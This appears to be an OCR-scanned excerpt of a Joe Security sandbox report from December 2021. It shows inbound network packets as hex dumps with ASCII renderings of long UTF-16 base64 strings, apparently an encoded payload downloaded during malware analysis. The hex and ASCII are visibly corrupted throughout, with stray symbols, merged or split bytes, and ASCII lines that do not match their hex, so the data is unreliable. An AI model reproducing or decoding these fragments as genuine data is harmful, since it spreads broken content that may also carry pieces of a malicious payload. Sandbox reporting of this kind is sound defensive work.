4400 61 00 57 00 68 00 42 00 51 00 55 00 46 00 4c 00 51 00 6e 00 6¢ 00

Data Ascii: QUJ0ZU5XZ0OFBQVNVV0gzeWRINKFBQUFVVEJAWVRDQ3NIRVFUKNKbIRDUVISQ1c4dkFBQUAMQVFYQ3
1zZTOVRZ1hXQk1JRVFnUKIONXBNdDBnaUINQUFDaWhBQUFLQN
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2021-12-01 08:14:01 UTC 58 IN Data Raw: 46 00 42 00 51 00 55 00 4e 00 4c 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 5a 00 62 00 32 00 6¢ 00 42 00
51 00 55 00 46 00 43 00 5a 00 32 00 39 00 58 00 51 00 33 00 6¢ 00 7a 00 57 00 45 00 4a 00 6e 00 5a 00 57 00 46 00 45
00 51 00 57 00 64 00 44 00 51 00 58 00 64 00 53 00 64 00 6d 00 64 00 33 00 51 00 55 00 46 00 43 00 64 00 44 00 52 00
46 00 5a 00 57 00 6¢ 00 69 00 5a 00 55 00 46 00 42 00 59 00 31 00 68 00 58 00 51 00 58 00 4e 00 49 00 51 00 6d 00 38
00 31 00 63 00 45 00 31 00 31 00 54 00 55 00 4e 00 43 00 53 00 45 00 5a 00 44 00 51 00 55 00 46 00 42 00 51 00 32 00
4a 00 36 00 55 00 55 00 46 00 42 00 51 00 56 00 6¢ 00 59 00 54 00 47 00 64 00 61 00 65 00 6e 00 4a 00 52 00 51 00 55
00 46 00 44 00 62 00 6d 00 39 00 44 00 51 00 58 00 64 00 52 00 62 00 31
Data Ascii: FBQUNLTTRBQUFZb2IBQUFCZ29XQ3IzZWEJNnZWFEQWdIDQXdSdmd3QUFCADRFZWIIZUFBY1
hXQXNIQm81cE11TUNCSEZDQUFBQ2J6UUFBQVIYTGdaenJRQUFDbm9DQXdRb1

2021-12-01 08:14:01 UTC 63 IN Data Raw: 00 57 00 31 00 42 00 4d 00 6a 00 6c 00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 78 00 44 00 51 00 55 00 4e
00 4c 00 54 00 6¢ 00 56 00 42 00 51 00 55 00 46 00 61 00 64 00 6b 00 35 00 52 00 51 00 55 00 46 00 43 00 61 00 56 00
56 00 5a 00 54 00 58 00 64 00 6e 00 51 00 30 00 46 00 33 00 55 00 57 00 39 00 59 00 64 00 30 00 46 00 42 00 51 00 6d
00 68 00 72 00 65 00 6b 00 4a 00 75 00 54 00 33 00 52 00 42 00 51 00 55 00 46 00 4c 00 5a 00 57 00 6¢ 00 76 00 56 00 4
500 31 00 42 00 55 00 55 00 46 00 50 00 55 00 55 00 46 00 42 00 51 00 55 00 4e 00 4a 00 51 00 55 00 46 00 43 00 52
00 55 00 52 00 69 00 4d 00 54 00 52 00 43 00 51 00 55 00 46 00 5a 00 63 00 30 00 31 00 43 00 5a 00 55 00 35 00 4c 00
64 00 30 00 46 00 42 00 51 00 57 00 6¢ 00 56 00 56 00 32 00 4d 00 31 00
Data Ascii: W1BM;ljQVFBROXDQUNLTIVBQUFadk5RQUFCaVVZTXdnQOF3UW9YdOFBQmhrekJuT3RBQUFLZWIVVEL
BUUFPUUFBQUNJQUFCRURIMTRCQUFZc01CZU5LdOFBQWIVV2M1

2021-12-01 08:14:01 UTC 64 IN Data Raw: 32 00 53 00 32 00 64 00 42 00 56 00 45 00 31 00 42 00 55 00 55 00 46 00 5a 00 51 00 55 00 46 00 42 00 51
00 55 00 4e 00 52 00 51 00 55 00 46 00 43 00 52 00 55 00 52 00 69 00 4d 00 57 00 39 00 43 00 51 00 55 00 46 00 5a 00
63 00 31 00 59 00 7a 00 54 00 31 00 64 00 42 00 51 00 55 00 46 00 48 00 51 00 32 00 64 00 5a 00 52 00 47 00 49 00 79
00 5a 00 30 00 4a 00 42 00 51 00 56 00 70 00 32 00 62 00 46 00 46 00 42 00 51 00 55 00 4a 00 6f 00 61 00 55 00 35 00
4c 00 64 00 30 00 46 00 42 00 51 00 57 00 6¢ 00 56 00 56 00 32 00 4d 00 31 00 55 00 55 00 46 00 42 00 51 00 57 00 46
00 70 00 53 00 6¢ 00 4a 00 6a 00 52 00 32 00 39 00 70 00 61 00 55 00 39 00 42 00 51 00 55 00 46 00 48 00 51 00 33 00
64 00 6a 00 52 00 47 00 49 00 79 00 64 00 30 00 4a 00 42 00 51 00 56 00 6¢
Data Ascii: 252dBVE1BUUFZQUFBQUNRQUFCRURIMWICQUFZc1YzT1dBQUFHQ2dZRGlyZ0JBQVp2bFF
BQUJoaU5LdOFBQWIVV2M1UUFBQWFpSIJjR29palU9BQUFHQ3AIRGIYd0JBQVI

2021-12-01 08:14:01 UTC 68 IN Data Raw: 00 5a 00 4a 00 51 00 55 00 46 00 42 00 63 00 48 00 6b 00 72 00 55 00 57 00 74 00 42 00 59 00 30 00 4e 00
6€ 00 4e 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 5a 00 31 00 6¢ 00 76 00 63 00 6d 00 64 00 42 00 51 00 55 00 4e
00 70 00 64 00 7a 00 4a 00 43 00 62 00 6b 00 35 00 72 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 4c 00 4f 00 45 00 4
6 00 42 00 51 00 57 00 39 00 76 00 55 00 57 00 64 00 42 00 51 00 55 00 4e 00 6€ 00 63 00 31 00 4e 00 42 00 55 00 69
00 38 00 35 00 53 00 30 00 56 00 4e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 7a 00 51 00 55 00 46 00 42 00 51 00
32 00 6¢ 00 33 00 55 00 6b 00 4a 00 70 00 61 00 58 00 68 00 42 00 51 00 55 00 46 00 4¢ 00 51 00 6d 00 6¢ 00 70 00 65
00 55 00 46 00 42 00 51 00 55 00 74 00 4b 00 61 00 46 00 6c 00 4e 00 4d 00
Data Ascii: ZJQUFBcHKrUWtBYONnNUFBQUtDZ1lvemdBQUNpdzJCbk5rQUFBSOtLOEFBQWIVUWIBQUNNCINBUISS
SOVNQUFBb29zQUFBQ2I3UkJpaXhBQUFLQmIpeUFBQUtKaFINM

2021-12-01 08:14:01 UTC 72 IN Data Raw: 56 00 45 00 46 00 42 00 51 00 58 00 4a 00 69 00 4e 00 44 00 52 00 43 00 51 00 55 00 46 00 5a 00 63 00 57
00 35 00 6e 00 54 00 6e 00 5a 00 5a 00 5a 00 30 00 56 00 42 00 51 00 6d 00 6¢ 00 33 00 5a 00 55 00 4a 00 44 00 61 00
53 00 39 00 42 00 55 00 55 00 46 00 48 00 52 00 6a 00 51 00 77 00 63 00 6b 00 46 00 42 00 51 00 55 00 4e 00 4b 00 55
00 6¢ 00 70 00 36 00 63 00 45 00 46 00 42 00 51 00 55 00 4a 00 78 00 53 00 57 00 39 00 71 00 5a 00 30 00 46 00 42 00
51 00 6d 00 30 00 72 00 51 00 30 00 46 00 52 00 51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 52 00 58 00 70 00 42
00 52 00 6b 00 46 00 47 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00
79 00 4f 00 57 00 64 00 42 00 55 00 55 00 46 00 48 00 54 00 45 00 56 00 33
Data Ascii: VEFBQXJINDRCQUFZcW5nTnZZZ0VBQmI3ZUJDaS9BUUFHRjQwWckFBQUNKUIp6CEFBQUJX
SW9qZ0FBQmMOrQOFRQUALZOFBRXpBRKkFGVUFBQUFBQUFBQUEYOWdBUUFHTEV3

2021-12-01 08:14:01 UTC 76 IN Data Raw: 00 71 00 63 00 6b 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 46 00 52 00 6d 00 4d 00 79 00
55 00 55 00 46 00 42 00 51 00 57 00 39 00 55 00 51 00 32 00 68 00 46 00 53 00 32 00 49 00 35 00 56 00 55 00 46 00 42
00 51 00 57 00 39 00 55 00 51 00 6e 00 68 00 5a 00 56 00 45 00 4e 00 34 00 57 00 56 00 52 00 45 00 51 00 33 00 52 00
4b 00 52 00 56 00 46 00 7a 00 64 00 46 00 52 00 53 00 57 00 56 00 52 00 45 00 55 00 33 00 4e 00 36 00 52 00 56 00 46
00 7a 00 64 00 45 00 35 00 6e 00 56 00 56 00 4a 00 45 00 57 00 6d 00 39 00 53 00 51 00 6e 00 68 00 46 00 54 00 57 00
31 00 6f 00 54 00 55 00 39 00 46 00 55 00 54 00 56 00 32 00 57 00 6¢ 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 47
00 52 00 42 00 51 00 55 00 46 00 4c 00 54 00 45 00 4a 00 42 00 57 00 45 00
Data Ascii: qckNBQUFBQUJFRmMyUUFBQW9UQ2hFS2I5VUFBQWIUQNhZVEN4WVREQ3RKRVFzdFRSWVR
EU3N6RVFzdE5SNVVJEWM9SQNhFTW10TUIFUTV2WIFBQUNpaGRBQUFLTEJBWE

2021-12-01 08:14:01 UTC 80 IN Data Raw: 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 51 00 55 00 46 00 4b 00 62 00 30 00 4e 00 42 00 51 00 55 00
52 00 45 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55
00 46 00 46 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 31 00 4e 00 51 00
30 00 46 00 42 00 52 00 46 00 52 00 42 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 42 00 51
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 6e 00 51 00 55 00 46 00 42 00
54 00 6d 00 74 00 44 00 51 00 55 00 46 00 45 00 5a 00 6b 00 46 00 6€ 00 51
Data Ascii: UFEQUFBQUFBQUFBQUFBQUFBS1FBQUFKbONBQUREQWJBQUF3QUFBQThBQUFFQOFBQUFFQ
UFBQUINQOFBRFRBZ0OFBQ2dBQUFBQUFBQUFBQUFBQUINQUFBTMtDQUFEZKFNQ

2021-12-01 08:14:01 UTC 84 IN Data Raw: 00 61 00 47 00 52 00 32 00 56 00 45 00 46 00 42 00 51 00 55 00 4e 00 75 00 4e 00 45 00 68 00 42 00 55 00
55 00 46 00 46 00 53 00 6¢ 00 4d 00 77 00 57 00 45 00 70 00 75 00 4e 00 45 00 64 00 42 00 55 00 55 00 46 00 46 00 4c
00 32 00 64 00 5a 00 54 00 6b 00 46 00 6e 00 51 00 55 00 64 00 6a 00 4b 00 30 00 31 00 42 00 51 00 55 00 46 00 76 00
62 00 47 00 64 00 42 00 59 00 30 00 4a 00 42 00 51 00 56 00 46 00 76 00 52 00 6e 00 64 00 42 00 51 00 55 00 73 00 7a
00 4d 00 45 00 31 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 30 00 74 00 51 00 64 00 30 00 46 00
42 00 51 00 56 00 6¢ 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 36 00 51 00 55 00 52 00 42 00 52 00 31 00 56
00 42 00 51 00 55 00 46 00 42 00 63 00 30 00 46 00 42 00 51 00 56 00 4a 00
Data Ascii: aGR2VEFBQUNUNEhBUUFFSIMWWEpUNEdBUUFFL2dZTkFnQUdjKO1BQUFvbGdBY0JBQVFv
RndBQUszME1BQUFFS2g0Q0tQdOFBQVIXQUFBQUd6QURBR1VBQUFBCOFBQVJ

2021-12-01 08:14:01 UTC 88 IN Data Raw: 4e 00 6c 00 51 00 6¢ 00 4e 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55 00 32 00 39 00 42 00
51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 48 00 51 00 55 00 4e 00 6a 00 64 00 45 00 46 00 42
00 52 00 45 00 4e 00 6e 00 51 00 55 00 46 00 42 00 55 00 6 00 4e 00 33 00 51 00 6d 00 64 00 43 00 4c 00 30 00 46 00
6 00 51 00 55 00 46 00 4d 00 64 00 30 00 46 00 42 00 52 00 56 00 68 00 51 00 5a 00 55 00 46 00 42 00 51 00 55 00 74
00 44 00 61 00 47 00 4e 00 4d 00 52 00 31 00 6b 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00
52 00 34 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30
00 46 00 42 00 51 00 55 00 4e 00 6f 00 4f 00 45 00 70 00 71 00 56 00 6d
Data Ascii: NIQINiZUFBWXFDU29BQVJBQUFBQUFHQUNjdEFBRENNQUFBUNN3QMACLOFNQUFMAOFBRY
hQZUFBQUtDaGNMR1kxYUFBQUJKZER4QUFBRUIEYOFBQXB6TOFBQUNOOEPGVmM
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2021-12-01 08:14:01 UTC 92

2021-12-01 08:14:01 UTC 96

2021-12-01 08:14:01 UTC 100

2021-12-01 08:14:01 UTC 104

2021-12-01 08:14:01 UTC 108

2021-12-01 08:14:01 UTC 112

2021-12-01 08:14:01 UTC 116

2021-12-01 08:14:01 UTC 120

2021-12-01 08:14:01 UTC 124

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 45 00 35 00 42 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 4f 00 64 00 30 00 46 00 42 00 51 00 32 00 35
00 4e 00 4e 00 45 00 46 00 42 00 51 00 55 00 74 00 69 00 4b 00 7a 00 52 00 42 00 51 00 55 00 46 00 77 00 4d 00 56 00
64 00 42 00 51 00 55 00 46 00 42 00 55 00 58 00 64 00 4a 00 53 00 30 00 73 00 30 00 51 00 55 00 46 00 42 00 62 00 33
00 52 00 43 00 64 00 31 00 6¢ 00 4f 00 4d 00 32 00 46 00 76 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 6a 00 4c 00 3
2 00 4e 00 42 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 43 00 52 00 55 00 56 00 44 00 52 00 79 00 39 00 35 00 51
00 55 00 46 00 42 00 52 00 30 00 56 00 52 00 55 00 57 00 4e 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00
62 00 44 00 42 00 4e 00 54 00 55 00 46 00 42 00 51 00 56 00 46 00 76 00

Data Ascii: ESEBQUFBUW90dOFBQ25NNEFBQUtiKzZRBQUFWMVdABQUFBUXdJS0sOQUFBb3RCd1IOM2FvQ
UFBQUA|L2NBQUFZVEJCRUVDRY95QUFBROVRUWNqVmM9BQUFFbDBNTUFBQVFv

Data Raw: 42 00 54 00 30 00 52 00 4e 00 52 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 4d 00 6d 00 74 00 61 00 56
00 30 00 4a 00 6e 00 62 00 33 00 4e 00 6e 00 51 00 55 00 46 00 43 00 61 00 47 00 52 00 78 00 56 00 31 00 63 00 77 00
54 00 45 00 5a 00 6f 00 54 00 55 00 56 00 4c 00 4d 00 57 00 64 00 44 00 51 00 54 00 4a 00 72 00 5a 00 6b 00 52 00 47 0
0 5a 00 31 00 4a 00 43 00 51 00 6d 00 68 00 68 00 56 00 30 00 4a 00 6e 00 62 00 33 00 4e 00 6e 00 51 00 55 00 46 00
43 00 62 00 54 00 42 00 55 00 51 00 6¢ 00 46 00 4e 00 5a 00 6¢ 00 70 00 48 00 62 00 33 00 70 00 48 00 64 00 30 00 6¢
00 44 00 52 00 56 00 46 00 56 00 59 00 55 00 74 00 4d 00 53 00 55 00 46 00 42 00 51 00 56 00 6¢ 00 59 00 59 00 57 00
78 00 72 00 51 00 32 00 56 00 34 00 52 00 55 00 46 00 42 00 51 00 56 00 4a

Data Ascii: BTORNRUFBQUNBMmtaV0Jnb3NnQUFCaGRxV1cwTEZoTUVLMWADQTJrZKRGZ1JCQmhhV0J
nb3NNQUFCbTBUQIFNZIpHb3pHdOIDRVFVYUtMSUFBQVIYYWxrQ2VARUFBQVJ

Data Raw: 00 52 00 4e 00 53 00 45 00 5a 00 6e 00 4d 00 32 00 51 00 32 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00
4b 00 4e 00 30 00 56 00 33 00 51 00 55 00 46 00 43 00 51 00 57 00 46 00 51 00 54 00 48 00 64 00 42 00 51 00 55 00 46
00 75 00 63 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 51 00 57 00 35 00 7a 00 56 00 45 00 46 00 42 00 51 00 55 00
56 00 43 00 62 00 7a 00 68 00 32 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 00 5a 00 30 00 46 00 42 00 51 00 56
00 4a 00 35 00 4d 00 6b 00 46 00 33 00 51 00 57 00 4e 00 43 00 63 00 48 00 59 00 35 00 55 00 55 00 46 00 42 00 51 00
32 00 68 00 6b 00 57 00 57 00 49 00 76 00 57 00 55 00 46 00 42 00 51 00 57 00 39 00 59 00 61 00 6¢ 00 5a 00 76 00 51
00 55 00 46 00 42 00 52 00 57 00 78 00 47 00 61 00 44 00 68 00 7a 00 62 00

Data Ascii: RNSEZnM2Q2Z0FBQUFKNOV3QUFCQWFQTHABQUFuc29BQUFFQWS5zVEFBQUVChzh2QUFBQ2
V5Z0FBQVJ5MKF3QWNCCcHY5UUFBQ2hkWWIVWUFBQWOYalZvQUFBRWxGabDhzb

Data Raw: 57 00 57 00 70 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 6f 00 33 00 53 00 31 00 46 00 42 00 51 00 55 00
4a 00 43 00 52 00 56 00 42 00 42 00 61 00 45 00 56 00 48 00 52 00 56 00 46 00 73 00 57 00 55 00 56 00 52 00 4e 00 58
00 46 00 58 00 52 00 32 00 74 00 53 00 51 00 32 00 68 00 46 00 55 00 47 00 70 00 35 00 4e 00 45 00 46 00 42 00 51 00
55 00 6f 00 33 00 53 00 6b 00 46 00 42 00 51 00 55 00 4a 00 48 00 61 00 32 00 39 00 7a 00 5a 00 30 00 46 00 42 00 51 0
06d 00 6¢ 00 71 00 4e 00 6b 00 46 00 42 00 51 00 55 00 74 00 76 00 61 00 45 00 56 00 50 00 52 00 56 00 46 00 76 00
55 00 6b 00 51 00 30 00 4f 00 48 00 56 00 42 00 51 00 55 00 46 00 44 00 5a 00 58 00 6¢ 00 52 00 51 00 55 00 46 00 42
00 55 00 6e 00 42 00 58 00 51 00 6b 00 31 00 50 00 52 00 56 00 45 00 34

Data Ascii: WWp6QUFBQU03S1FBQUJCRVBBaEVHRVFsWUVRNXFXR2tSQ2hFUGp5SNEFBQU03SKFBQUJIH
a29zZ0FBQmIgNkFBQUtvaEVPRVFVUKQOOHVBQUFDZXIRQUFBUNBXQk1PRVE4

Data Raw: 00 42 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 6d 00 39 00 68 00 51 00 55 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 4e 00 45 00 4e 00 4c
00 52 00 30 00 6¢ 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 5a 00 6e 00 54 00 56 00 63 00 76 00 5a 00 30 00 56 00
78 00 51 00 55 00 46 00 42 00 59 00 6b 00 31 00 42 00 56 00 55 00 46 00 51 00 51 00 55 00 46 00 42 00 51 00 55 00 51
00 77 00 51 00 55 00 46 00 43 00 52 00 55 00 52 00 69 00 4e 00 6e 00 64 00 43 00 51 00 55 00 46 00 5a 00 57 00 47 00
70 00 57 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 52 00 6d 00 35 00 4b 00 54 00 55 00 52 00 52 00 51 00 6e
00 64 00 76 00 61 00 47 00 52 00 32 00 56 00 45 00 46 00 42 00 51 00 55 00

Data Ascii: BQUFBUKFBQUFBQUFBQMOhQUFGRHAIBQUFSNENLROIBQUFvCUZNTVcvZOVXQUFBYK1BVUF
QQUFBQUQWQUFCRURINNdCQUFZWGpWZOFBQUVSRMSKTURRQndvaGR2VEFBQU

Data Raw: 32 00 39 00 4a 00 55 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4e 00 5a 00 30 00 46 00 52 00 51 00 55 00 74
00 44 00 65 00 45 00 6¢ 00 43 00 53 00 30 00 4e 00 46 00 51 00 6b 00 46 00 42 00 62 00 33 00 52 00 42 00 65 00 46 00
6¢ 00 79 00 51 00 6€e 00 68 00 4a 00 51 00 6b 00 74 00 44 00 53 00 55 00 4a 00 42 00 51 00 57 00 39 00 4f 00 4d 00 32 0
064 00 56 00 62 00 54 00 4e 00 6e 00 51 00 56 00 64 00 4c 00 5a 00 32 00 74 00 78 00 51 00 55 00 46 00 46 00 55 00
55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 58 00 64 00 42 00 64 00 30 00 46 00 33 00 51 00 6b 00 46 00 33 00 62
00 30 00 46 00 42 00 51 00 55 00 56 00 55 00 54 00 55 00 46 00 56 00 51 00 57 00 52 00 33 00 51 00 55 00 46 00 42 00
52 00 55 00 6¢ 00 42 00 51 00 55 00 4a 00 46 00 51 00 32 00 70 00 46 00 53

Data Ascii: 29JUUFBSzNNZOFRQUtDeEICSONFQkFBb3RBeFlyQnhJQktDSUIBQWIOM2dVbTNNQVdLZ2txQUFFUUF
BQUFBRXdBAOF3QkF3b0OFBQUVUTUFVQWR3QUFBRUIBQUJIFQ2pFS

Data Raw: 00 52 00 45 00 31 00 4c 00 51 00 6d 00 68 00 6¢ 00 56 00 55 00 6¢ 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55
0046 00 31 00 53 00 55 00 46 00 5a 00 56 00 32 00 78 00 44 00 51 00 33 00 4e 00 42 00 51 00 55 00 46 00 42 00 54 00
58 00 63 00 30 00 52 00 30 00 59 00 31 00 55 00 57 00 5a 00 46 00 52 00 45 00 6¢ 00 49 00 51 00 6d 00 68 00 6¢ 00 56
00 55 00 68 00 34 00 4f 00 48 00 68 00 44 00 51 00 56 00 6¢ 00 58 00 62 00 45 00 49 00 34 00 53 00 79 00 39 00 6e 00 5
200 58 00 46 00 47 00 65 00 57 00 39 00 42 00 52 00 33 00 70 00 42 00 52 00 6b 00 46 00 51 00 64 00 30 00 46 00 42
00 51 00 55 00 4a 00 4b 00 51 00 55 00 46 00 42 00 55 00 6d 00 5a 00 6e 00 55 00 55 00 46 00 42 00 51 00 56 00 49 00
72 00 51 00 6e 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 33 00 52 00

Data Ascii: RE1LQmhIVUILZOFBQUF1SUFZV2xDQ3NBQUFBTXcOR0OY1UWZFREIQmhIVUh4OHhDQVIXbEI4Sy9nRX
FGeW9BR3pBRkFQAOFBQUIKQUFBUMZnUUFBQVIrQndBQUJDZ3R

Data Raw: 46 00 4c 00 4d 00 30 00 34 00 30 00 53 00 30 00 4a 00 35 00 64 00 30 00 64 00 43 00 4d 00 6a 00 68 00 4d 00
51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6¢ 00 76
00 51 00 55 00 46 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 56 00 46 00 43 00 55 00 57 00 39 00
52 00 51 00 55 00 52 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 46 00 4a 00 51 00 56 00 46 00 6e 00 51 00 6€ 00 4e
00 79 00 5a 00 30 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 50 00 64 00 30 00
49 00 76 00 64 00 57 00 64 00 42 00 53 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 42 00 54 00 6b
00 46 00 44 00 55 00 33 00 68 00 6 00 51 00 55 00 74 00 42 00 51 00 55

Data Ascii: FLM040S0J5d0dCMjhMQUFBSzNONERKJIDRBQmMIVQUFVQUFBQUFBVVFCUWIRQUREJOFBQV
FIQVFnQnNyZOFLQUFBQUFBSUFPdOIVdWAJBSOFBQUFBQUIBTKFDU3hNQUIBQU

Data Raw: 00 32 00 68 00 4e 00 52 00 55 00 56 00 52 00 55 00 6e 00 5a 00 6b 00 51 00 55 00 56 00 42 00 51 00 32 00
68 00 4e 00 52 00 6b 00 56 00 52 00 56 00 6e 00 5a 00 6b 00 55 00 55 00 56 00 42 00 51 00 32 00 68 00 4e 00 52 00 30
00 73 00 79 00 53 00 56 00 4a 00 43 00 62 00 54 00 6b 00 79 00 51 00 56 00 46 00 42 00 53 00 30 00 56 00 33 00 59 00
30 00 64 00 46 00 55 00 57 00 4e 00 6d 00 51 00 7a 00 51 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a
00 45 00 4d 00 32 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00
54 00 30 00 46 00 42 00 51 00 55 00 4e 00 74 00 4f 00 54 00 4e 00 42 00 55 00 55 00 46 00 4¢ 00 5a 00 46 00 5a 00 6e
00 51 00 55 00 46 00 42 00 52 00 6 00 59 00 78 00 5a 00 30 00 46 00 42 00

Data Ascii: 2hNRUVRUNZkQUVBQ2hNRKVRVNZkUUVBQ2hNROsySVJIChTkyQVFBS0V3YOdFUWNMQzQXY
UFBQUJKZEM2QUFBRUEYOFBQXB6TOFBQUNtOTNBUUFLZFZNQUFBRNYXZOFB
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2021-12-01 08:14:01 UTC 128 IN Data Raw: 55 00 51 00 6b 00 4a 00 46 00 52 00 55 00 64 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53
00 6d 00 52 00 44 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 4¢ 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00
65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6b 00 7a 00 51 00 56 00 46 00 42 00 53 00 30 00 70 00 54
00 4d 00 45 00 56 00 4b 00 61 00 46 00 46 00 79 00 51 00 6c 00 63 00 72 00 52 00 30 00 46 00 42 00 51 00 55 00 74 00
4200 61 00 57 00 68 00 6b 00 51 00 55 00 46 00 42 00 53 00 30 00 78 00 43 00 4e 00 45 00 64 00 46 00 55 00 56 00 4a
0035 00 57 00 6e 00 68 00 52 00 51 00 57 00 4e 00 48 00 4f 00 54 00 4e 00 42 00 55 00 55 00 46 00 4¢ 00 53 00 6¢ 00
4d 00 77 00 52 00 55 00 70 00 6f 00 55 00 58 00 4a 00 43 00 56 00 79 00 74
Data Ascii: UQkJFRUdvMWFBQUFCSmRDOEFBQUVLRGNBQUFwek9BQUFDbTkzQVFBSOpTMEVKaFFyQlc
rROFBQUtBaWhkQUFBSOXCNEAFUVJSWnhRQWNHOTNBUUFLSIMWRUpoUXJCVyt

2021-12-01 08:14:01 UTC 132 IN Data Raw: 00 59 00 34 00 51 00 55 00 46 00 42 00 62 00 30 00 30 00 7a 00 5a 00 33 00 5a 00 6¢ 00 51 00 58 00 6¢ 00 69
00 5a 00 55 00 46 00 49 00 4e 00 47 00 56 00 42 00 51 00 55 00 46 00 4c 00 53 00 32 00 64 00 6€ 00 63 00 55 00 46 00
420052 00 57 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 5a 00 6f 00 57 00 55 00 46
00 44 00 55 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 58 00 52 00 6d 00
64 00 42 00 51 00 58 00 63 00 34 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6c 00 42 00 54 00 6b
00 46 00 42 00 51 00 55 00 46 00 42 00 57 00 55 00 46 00 42 00 51 00 6b 00 59 00 72 00 5a 00 6¢ 00 46 00 46 00 51 00
55 00 4e 00 6 00 53 00 6e 00 59 00 33 00 55 00 55 00 46 00 42 00 51 00
Data Ascii: YAQUFBb00zZ3ZIQXIiZUFINGVBQUFLS2dncUFBRWNBQUFBQUFBQUZoWUFDUThBQUFFQU
FBQUFXRmMdBQXc4QUFBRWJINQUIBTKFBQUFBWUFBQKYrZIFFQUNNSNY3UUFBQ

2021-12-01 08:14:01 UTC 136 IN Data Raw: 51 00 55 00 46 00 42 00 62 00 33 00 46 00 49 00 5a 00 30 00 6f 00 33 00 53 00 32 00 64 00 42 00 51 00 55 00
4200 44 00 62 00 32 00 6¢ 00 42 00 5a 00 30 00 34 00 35 00 53 00 32 00 64 00 42 00 51 00 55 00 4a 00 44 00 62 00 32
00 56 00 42 00 62 00 6€ 00 4e 00 79 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00
7a 00 42 00 79 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6¢ 00 42 00 51 0
055 00 46 00 76 00 63 00 55 00 68 00 6 00 53 00 6a 00 64 00 4d 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00
61 00 55 00 46 00 6 00 54 00 6a 00 6¢ 00 4d 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 76 00 5a 00 55 00 46 00 75
00 63 00 33 00 52 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 6¢ 00 4a
Data Ascii: QUFBb3FIZ003S2dBQUJIDb2IBZ04552dBQUJIDL2VBbnNyQUFBRUtpSUNBMzBYQUFBRUtoNENLROIBQU
FvcUhnSjdMQUFBQKNvaUFNTjIMQUFBQKNVZUFuc3RBQUFFS21J

